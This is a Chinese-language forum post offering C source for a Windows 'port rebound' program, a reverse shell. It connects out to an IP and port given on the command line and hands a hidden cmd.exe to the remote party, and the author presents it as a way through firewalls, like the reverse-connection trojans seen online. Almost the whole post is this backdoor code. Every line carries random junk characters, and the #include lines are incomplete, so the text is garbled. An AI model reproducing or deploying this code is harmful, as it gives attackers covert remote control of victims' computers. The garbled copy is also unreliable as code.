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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0L"uU3  
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/* ============================== Qd% (]L[N.  
Rebound port in Windows NT Ue,eEer  
By wind,2006/7 23p.g5hJi  
===============================*/ 5HL>2 e[  
#include a04S&ezj  
#include jamai8  
G+C{_o#3  
#pragma comment(lib,"wsock32.lib") {O!;cI~  
r[kHVT8  
void OutputShell(); !{uV-c-5,  
SOCKET sClient; F3Vvqt*2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; U;.cXU{  
I|>IV  
void main(int argc,char **argv) ci(BPnQ  
{ -ECnX/ "  
WSADATA stWsaData; 98<^!mwF  
int nRet; c[OQo~m$  
SOCKADDR_IN stSaiClient,stSaiServer; M5`m5qc3  
/n,a0U/  
if(argc != 3) 6w{""K.{  
{ cY~lDLyB  
printf("Useage:\n\rRebound DestIP DestPort\n"); >i61+uzEd+  
return; 95D(0qv  
} <bv9X?U  
FuBUg _h  
WSAStartup(MAKEWORD(2,2),&stWsaData); aM8z_j!!u  
;lTgihW-  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rHjR 4q  
,0>_(5  
stSaiClient.sin_family = AF_INET; ?PB}2*R  
stSaiClient.sin_port = htons(0); `wLmGv+V  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kwt;pxp i  
>6;RTN/P2  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _@|_`5W  
{ EJaO"9 (  
printf("Bind Socket Failed!\n"); 63i&e/pv  
return; \nVoBW(  
} :J5CmU $  
wLQM]$O  
stSaiServer.sin_family = AF_INET; (%M:=zm  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9 &Od7Cn  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  _8z  
hJJo+NNN  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (jE[W:  
{ \ $9n `  
printf("Connect Error!"); hJ V*  
return; <jVk}gi)Jp  
} u/?;J1z:  
OutputShell(); P(zquKm  
} 3e^'mT  
C9T- 4o1  
void OutputShell() gD6BPW~0  
{ |qibO \_  
char szBuff[1024]; V3\} ]5  
SECURITY_ATTRIBUTES stSecurityAttributes; FC8= ru  
OSVERSIONINFO stOsversionInfo; N sSl|m  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; sWLH"'Z  
STARTUPINFO stStartupInfo; l {\@+m  
char *szShell; g[xn0 rG  
PROCESS_INFORMATION stProcessInformation; 3Q+THg3~?  
unsigned long lBytesRead; qSL~A-  
KH1/B_.\V  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v|>'m#Ln2  
jZ69sDhE  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); eJ$ {`&J  
stSecurityAttributes.lpSecurityDescriptor = 0; v#KE"m  
stSecurityAttributes.bInheritHandle = TRUE; :3*0o3C/  
fbW#6:Y  
zB{be_Tw  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zhde1JE  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r\{; ~V  
&nF7CCF  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y `w5u.'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z#| tl/aP9  
stStartupInfo.wShowWindow = SW_HIDE; (KG>lTdN  
stStartupInfo.hStdInput = hReadPipe; KfNR)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s^AZ)k~J(  
3sGe#s%  
GetVersionEx(&stOsversionInfo); }Rq-IRa'  
i+.bR.WO  
switch(stOsversionInfo.dwPlatformId) /F @a@m|  
{ Ucok&)7-  
case 1: 1hgmlY`  
szShell = "command.com"; UbV} !  
break; B bx.RL.V  
default: t) ~v5vr  
szShell = "cmd.exe"; E|^~R}z)  
break; 1 Xu^pc  
} %(wa~:m+S-  
qdVExO&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); axi%5:I  
0IjQqI  
send(sClient,szMsg,77,0); E%+1^ L  
while(1) Ib8xvzR6I&  
{ o%A@ OY  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^?tF'l`  
if(lBytesRead) A@"CrVE  
{ Kth^WHL  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r@(hRl1k'  
send(sClient,szBuff,lBytesRead,0);  i'9  
} %.D@{O  
else G%K<YyAP  
{ 7nHlDPps)  
lBytesRead=recv(sClient,szBuff,1024,0); SNd]c  
if(lBytesRead<=0) break; ~?{@0,$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); dKyX70Zy9  
} !Hr +|HKQ?  
} v 1O* Q  
hzc2c.gcF  
return; 2 }Q)&;u  
}
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